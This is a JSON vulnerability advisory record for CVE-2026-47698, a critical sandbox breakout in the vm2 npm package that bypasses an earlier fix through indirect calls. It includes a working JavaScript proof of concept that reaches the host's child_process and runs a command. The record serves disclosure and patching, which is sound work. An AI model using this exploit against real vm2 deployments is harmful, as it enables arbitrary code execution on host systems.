{"id":"CVE-2026-47698","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-47698","summary":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","details":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","published":"2026-08-17T17:32:41Z","modified":"2026-08-17T17:45:07.885403042Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.6"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T17:45:07.885403042Z"}}